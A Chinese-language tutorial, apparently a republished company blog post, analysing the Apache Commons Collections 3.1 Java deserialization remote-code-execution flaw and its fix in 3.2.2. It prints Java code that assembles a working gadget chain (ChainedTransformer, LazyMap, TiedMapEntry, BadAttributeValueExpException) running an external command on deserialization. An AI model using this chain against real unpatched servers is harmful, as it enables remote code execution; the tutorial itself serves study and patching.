本篇內(nèi)容介紹了“Java反序列化漏洞實例分析”的有關(guān)知識,在實際案例的操作過程中,不少人都會遇到這樣的困境,接下來就讓小編帶領(lǐng)大家學(xué)習(xí)一下如何處理這些情況吧!希望大家仔細閱讀,能夠?qū)W有所成!
從策劃到設(shè)計制作,每一步都追求做到細膩,制作可持續(xù)發(fā)展的企業(yè)網(wǎng)站。為客戶提供網(wǎng)站建設(shè)、成都網(wǎng)站建設(shè)、網(wǎng)站策劃、網(wǎng)頁設(shè)計、空間域名、網(wǎng)絡(luò)空間、網(wǎng)絡(luò)營銷、VI設(shè)計、 網(wǎng)站改版、漏洞修補等服務(wù)。為客戶提供更好的一站式互聯(lián)網(wǎng)解決方案,以客戶的口碑塑造優(yōu)易品牌,攜手廣大客戶,共同發(fā)展進步。
Apache-Commons-Collections這個框架,相信每一個Java程序員都不陌生,這是一個非常著名的開源框架。但是,他其實也曾經(jīng)被爆出過序列化安全漏洞,而漏洞的表現(xiàn)和fastjson一樣,都是可以被遠程執(zhí)行命令。
Apache Commons是Apache軟件基金會的項目,Commons的目的是提供可重用的、解決各種實際的通用問題且開源的Java代碼。
Commons Collections包為Java標(biāo)準(zhǔn)的Collections API提供了相當(dāng)好的補充。在此基礎(chǔ)上對其常用的數(shù)據(jù)結(jié)構(gòu)操作進行了很好的封裝、抽象和補充。讓我們在開發(fā)應(yīng)用程序的過程中,既保證了性能,同時也能大大簡化代碼。
Commons Collections的最新版是4.4,但是使用比較廣泛的還是3.x的版本。其實,在3.2.1以下版本中,存在一個比較大的安全漏洞,可以被利用來進行遠程命令執(zhí)行。
這個漏洞在2015年第一次被披露出來,但是業(yè)內(nèi)一直稱稱這個漏洞為"2015年最被低估的漏洞"。
因為這個類庫的使用實在是太廣泛了,首當(dāng)其中的就是很多Java Web Server,這個漏洞在當(dāng)時橫掃了WebLogic、WebSphere、JBoss、Jenkins、OpenNMS的最新版。
之后,Gabriel Lawrence和Chris Frohoff兩位大神在《Marshalling Pickles how deserializing objects can ruin your day》中提出如何利用Apache Commons Collection實現(xiàn)任意代碼執(zhí)行。
這個問題主要會發(fā)生在Apache Commons Collections的3.2.1以下版本,本次使用3.1版本進行測試,JDK版本為Java 8。
Commons Collections中提供了一個Transformer接口,主要是可以用來進行類型轉(zhuǎn)換的,這個接口有一個實現(xiàn)類是和我們今天要介紹的漏洞有關(guān)的,那就是InvokerTransformer。InvokerTransformer提供了一個transform方法,該方法核心代碼只有3行,主要作用就是通過反射對傳入的對象進行實例化,然后執(zhí)行其iMethodName方法。
而需要調(diào)用的iMethodName和需要使用的參數(shù)iArgs其實都是InvokerTransformer類在實例化時設(shè)定進來的,這個類的構(gòu)造函數(shù)如下:
也就是說,使用這個類,理論上可以執(zhí)行任何方法。那么,我們就可以利用這個類在Java中執(zhí)行外部命令。
我們知道,想要在Java中執(zhí)行外部命令,需要使用Runtime.getRuntime().exec(cmd)
的形式,那么,我們就想辦法通過以上工具類實現(xiàn)這個功能。
首先,通過InvokerTransformer的構(gòu)造函數(shù)設(shè)置好我們要執(zhí)行的方法以及參數(shù):
Transformer transformer = new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"open /Applications/Calculator.app"});
通過,構(gòu)造函數(shù),我們設(shè)定方法名為exec
,執(zhí)行的命令為open /Applications/Calculator.app
,即打開mac電腦上面的計算器(windows下命令:C:\\Windows\\System32\\calc.exe
)。
然后,通過InvokerTransformer實現(xiàn)對Runtime
類的實例化:
transformer.transform(Runtime.getRuntime());
運行程序后,會執(zhí)行外部命令,打開電腦上的計算機程序:
至此,我們知道可以利用InvokerTransformer來調(diào)用外部命令了,那是不是只需要把一個我們自定義的InvokerTransformer序列化成字符串,然后再反序列化,接口實現(xiàn)遠程命令執(zhí)行:
先將transformer對象序列化到文件中,再從文件中讀取出來,并且執(zhí)行其transform方法,就實現(xiàn)了攻擊。
但是,如果事情只有這么簡單的話,那這個漏洞應(yīng)該早就被發(fā)現(xiàn)了。想要真的實現(xiàn)攻擊,那么還有幾件事要做。
因為,newTransformer.transform(Runtime.getRuntime());
這樣的代碼,不會有人真的在代碼中寫的。
如果沒有了這行代碼,還能實現(xiàn)執(zhí)行外部命令么?
這就要利用到Commons Collections中提供了另一個工具那就是ChainedTransformer,這個類是Transformer的實現(xiàn)類。
ChainedTransformer類提供了一個transform方法,他的功能遍歷他的iTransformers數(shù)組,然后依次調(diào)用其transform方法,并且每次都返回一個對象,并且這個對象可以作為下一次調(diào)用的參數(shù)。
那么,我們可以利用這個特性,來自己實現(xiàn)和transformer.transform(Runtime.getRuntime());
同樣的功能:
Transformer[] transformers = new Transformer[] {
//通過內(nèi)置的ConstantTransformer來獲取Runtime類
new ConstantTransformer(Runtime.class),
//反射調(diào)用getMethod方法,然后getMethod方法再反射調(diào)用getRuntime方法,返回Runtime.getRuntime()方法
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class },
new Object[] {"getRuntime", new Class[0] }),
//反射調(diào)用invoke方法,然后反射執(zhí)行Runtime.getRuntime()方法,返回Runtime實例化對象
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0] }),
//反射調(diào)用exec方法
new InvokerTransformer("exec",
new Class[] {String.class },
new Object[] {"open /Applications/Calculator.app"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
在拿到一個transformerChain之后,直接調(diào)用他的transform方法,傳入任何參數(shù)都可以,執(zhí)行之后,也可以實現(xiàn)打開本地計算器程序的功能:
那么,結(jié)合序列化,現(xiàn)在的攻擊更加進了一步,不再需要一定要傳入newTransformer.transform(Runtime.getRuntime());
這樣的代碼了,只要代碼中有transformer.transform()
方法的調(diào)用即可,無論里面是什么參數(shù):
但是,一般也不會有程序員會在代碼中寫這樣的代碼。
那么,攻擊手段就需要更進一步,真正做到"不需要程序員配合"。
于是,攻擊者們發(fā)現(xiàn)了在Commons Collections中提供了一個LazyMap類,這個類的get會調(diào)用transform方法。(Commons Collections還真的是懂得黑客想什么呀。)
那么,現(xiàn)在的攻擊方向就是想辦法調(diào)用到LazyMap的get方法,并且把其中的factory設(shè)置成我們的序列化對象就行了。
順藤摸瓜,可以找到Commons Collections中的TiedMapEntry類的getValue方法會調(diào)用到LazyMap的get方法,而TiedMapEntry類的getValue又會被其中的toString()方法調(diào)用到。
public String toString() {
return getKey() + "=" + getValue();
}
public Object getValue() {
return map.get(key);
}
那么,現(xiàn)在的攻擊門檻就更低了一些,只要我們自己構(gòu)造一個TiedMapEntry,并且將他進行序列化,這樣,只要有人拿到這個序列化之后的對象,調(diào)用他的toString方法的時候,就會自動觸發(fā)bug。
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
我們知道,toString會在很多時候被隱式調(diào)用,如輸出的時候(System.out.println(ois.readObject());
),代碼示例如下:
現(xiàn)在,黑客只需要把自己構(gòu)造的TiedMapEntry的序列化后的內(nèi)容上傳給應(yīng)用程序,應(yīng)用程序在反序列化之后,如果調(diào)用了toString就會被攻擊。
那么,有沒有什么辦法,讓代碼只要對我們準(zhǔn)備好的內(nèi)容進行反序列化就會遭到攻擊呢?
倒還真的被發(fā)現(xiàn)了,只要滿足以下條件就行了:
那就是在某個類的readObject會調(diào)用到上面我們提到的LazyMap或者TiedMapEntry的相關(guān)方法就行了。因為Java反序列化的時候,會調(diào)用對象的readObject方法。
通過深入挖掘,黑客們找到了BadAttributeValueExpException、AnnotationInvocationHandler等類。
這里拿BadAttributeValueExpException舉例
BadAttributeValueExpException類是Java中提供的一個異常類,他的readObject方法直接調(diào)用了toString方法:
那么,攻擊者只需要想辦法把TiedMapEntry的對象賦值給代碼中的valObj就行了。
通過閱讀源碼,我們發(fā)現(xiàn),只要給BadAttributeValueExpException類中的成員變量val設(shè)置成一個TiedMapEntry類型的對象就行了。
這就簡單了,通過反射就能實現(xiàn):
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
// val是私有變量,所以利用下面方法進行賦值
Field valfield = poc.getClass().getDeclaredField("val");
valfield.setAccessible(true);
valfield.set(poc, entry);
于是,這時候,攻擊就非常簡單了,只需要把BadAttributeValueExpException對象序列化成字符串,只要這個字符串內(nèi)容被反序列化,那么就會被攻擊。
以上,我們復(fù)現(xiàn)了這個Apache Commons Collections類庫帶來的一個和反序列化有關(guān)的遠程代碼執(zhí)行漏洞。
通過這個漏洞的分析,我們可以發(fā)現(xiàn),只要有一個地方代碼寫的不夠嚴(yán)謹,就可能會被攻擊者利用。
因為這個漏洞影響范圍很大,所以在被爆出來之后就被修復(fù)掉了,開發(fā)者只需要將Apache Commons Collections類庫升級到3.2.2版本,即可避免這個漏洞。
3.2.2版本對一些不安全的Java類的序列化支持增加了開關(guān),默認為關(guān)閉狀態(tài)。涉及的類包括
CloneTransformer
ForClosure
InstantiateFactory
InstantiateTransformer
InvokerTransformer
PrototypeCloneFactory
PrototypeSerializationFactory,
WhileClosure
如在InvokerTransformer類中,自己實現(xiàn)了和序列化有關(guān)的writeObject()和 readObject()方法:
在兩個方法中,進行了序列化安全的相關(guān)校驗,校驗實現(xiàn)代碼如下:在序列化及反序列化過程中,會檢查對于一些不安全類的序列化支持是否是被禁用的,如果是禁用的,那么就會拋出UnsupportedOperationException
,通過org.apache.commons.collections.enableUnsafeSerialization
設(shè)置這個特性的開關(guān)。
將Apache Commons Collections升級到3.2.2以后,執(zhí)行文中示例代碼,將報錯如下:
Exception in thread "main" java.lang.UnsupportedOperationException: Serialization support for org.apache.commons.collections.functors.InvokerTransformer is disabled for security reasons. To enable it set system property 'org.apache.commons.collections.enableUnsafeSerialization' to 'true', but you must ensure that your application does not de-serialize objects from untrusted sources.
at org.apache.commons.collections.functors.FunctorUtils.checkUnsafeSerialization(FunctorUtils.java:183)
at org.apache.commons.collections.functors.InvokerTransformer.writeObject(InvokerTransformer.java:155)
“Java反序列化漏洞實例分析”的內(nèi)容就介紹到這里了,感謝大家的閱讀。如果想了解更多行業(yè)相關(guān)的知識可以關(guān)注創(chuàng)新互聯(lián)網(wǎng)站,小編將為大家輸出更多高質(zhì)量的實用文章!